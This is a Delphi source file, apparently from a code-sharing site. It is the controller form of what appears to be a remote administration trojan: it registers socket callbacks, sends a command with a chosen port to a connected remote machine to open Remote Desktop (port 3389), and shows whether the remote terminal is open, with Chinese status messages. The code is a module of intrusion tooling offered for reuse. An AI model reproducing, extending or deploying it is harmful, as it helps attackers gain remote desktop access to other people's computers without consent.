📄 open3389.pas
字号:
unit Open3389;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, Sockets, CompressionStreamUnitForms;
type
TO3389 = class(TForm)
stat1: TStatusBar;
edt1: TEdit;
btn1: TButton;
btn2: TButton;
btn3: TButton;
procedure edt1DragDrop(Sender, Source: TObject; X, Y: Integer);
procedure FormCreate(Sender: TObject);
procedure FormCanResize(Sender: TObject; var NewWidth,
NewHeight: Integer; var Resize: Boolean);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormDeactivate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure btn1Click(Sender: TObject);
private
DataSocket: TCustomWinSocket;
Connected: Boolean;
ConnectNotifyInfo: TNotifyInfo;
ReadNotifyInfo: TNotifyInfo;
DisconnectNotifyInfo: TNotifyInfo;
procedure Connect(var Socket: TCustomWinSocket; Data: Pointer);
procedure Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
procedure Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
function SocketConnected: Boolean;
public
RemoteAddress: string;
WindowItem: TListItem;
end;
var
O3389: TO3389;
implementation
uses UnitMain;
{$R *.dfm}
const
OA_TYPE = 31;
O_START = 1;
O_STOP = 2;
O_VIEW = 3;
function TO3389.SocketConnected: Boolean;
begin
if ((Connected) and (DataSocket <> nil)) then
begin
Connected := DataSocket.Connected;
if not Connected then stat1.Panels[0].Text := ' 断开连接';
end;
Result := Connected;
end;
procedure TO3389.Connect(var Socket: TCustomWinSocket; Data: Pointer);
var
O3389: TO3389;
ConnectionInfo: TConnectionInfo;
begin
O3389 := TO3389(Data);
showmessage(RemoteAddress);
//showmessage(TStreamRecord(Socket.Data).LocalAddress);
if TStreamRecord(Socket.Data).LocalAddress <> O3389.RemoteAddress then Exit;
if O3389.DataSocket = nil then O3389.DataSocket := Socket else Exit;
ConnectionInfo.ConnectionType := OA_TYPE;
Socket.SendBuf(ConnectionInfo, SizeOf(TConnectionInfo));
O3389.Connected := True;
O3389.stat1.Panels.Items[0].Text := ' 已连接: ' + Socket.RemoteAddress;
O3389.stat1.Tag := 1;
Socket := nil;
end;
procedure TO3389.Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
var
O3389: TO3389;
Buffer: Pointer;
begin
O3389 := TO3389(Data);
if O3389.DataSocket = Socket then
begin
Buffer := Stream.Memory;
case CommandFrame.Command of
O_VIEW:
begin
if string(Buffer) <> '0' then
O3389.stat1.Panels.Items[0].Text := '终端已开放: '+string(Buffer)
else
O3389.stat1.Panels.Items[0].Text := '终端没有开放';
end;
end;
Socket := nil;
end;
end;
procedure TO3389.Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
var
O3389: TO3389;
begin
O3389 := TO3389(Data);
if O3389.DataSocket = Socket then
begin
O3389.Connected := False;
O3389.stat1.Panels[0].Text := ' 断开连接';
Socket := nil;
O3389.DataSocket := nil;
end;
end;
procedure TO3389.edt1DragDrop(Sender, Source: TObject; X, Y: Integer);
begin
edt1.Text:='';
end;
procedure TO3389.FormCreate(Sender: TObject);
begin
DataSocket := nil;
ConnectNotifyInfo := TNotifyInfo.Create;
ConnectNotifyInfo.Data := Self;
ConnectNotifyInfo.Callback := @TO3389.Connect;
Main.NotifyConnectList.Add(ConnectNotifyInfo);
ReadNotifyInfo := TNotifyInfo.Create;
ReadNotifyInfo.Data := Self;
ReadNotifyInfo.Callback := @TO3389.Read;
Main.NotifyReadList.Add(ReadNotifyInfo);
DisconnectNotifyInfo := TNotifyInfo.Create;
DisconnectNotifyInfo.Data := Self;
DisconnectNotifyInfo.Callback := @TO3389.Disconnect;
Main.NotifyDisconnectList.Add(DisconnectNotifyInfo);
end;
procedure TO3389.FormCanResize(Sender: TObject; var NewWidth,
NewHeight: Integer; var Resize: Boolean);
begin
Resize := False;
end;
procedure TO3389.FormClose(Sender: TObject; var Action: TCloseAction);
var
Socket: TCustomWinSocket;
begin
Main.NotifyConnectList.Delete(Main.NotifyConnectList.IndexOf(ConnectNotifyInfo));
Main.NotifyReadList.Delete(Main.NotifyReadList.IndexOf(ReadNotifyInfo));
Main.NotifyDisconnectList.Delete(Main.NotifyDisconnectList.IndexOf(DisconnectNotifyInfo));
WindowItem.Delete;
if DataSocket <> nil then
begin
if not SocketConnected then
begin
Socket := DataSocket;
DataSocket := nil;
Connected := False;
Socket.Close;
end;
end;
end;
procedure TO3389.FormDeactivate(Sender: TObject);
begin
if WindowState = wsMinimized then Hide;
end;
procedure TO3389.FormShow(Sender: TObject);
begin
SetWindowLong(Btn1.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
SetWindowLong(Btn2.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
SetWindowLong(Btn3.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
end;
procedure TO3389.btn1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
RemootPort: array[0..MAX_PATH] of Char;
begin
if Stat1.Tag <> 1 then Exit;
if not SocketConnected then Exit;
CopyMemory(@RemootPort, @edt1.Text[1], Length(edt1.Text));
CommandFrame.len := MAX_PATH + 1;
CommandFrame.Command := O_START;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(RemootPort, MAX_PATH + 1);
Main.SendStream(DataSocket, ReplyStream);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -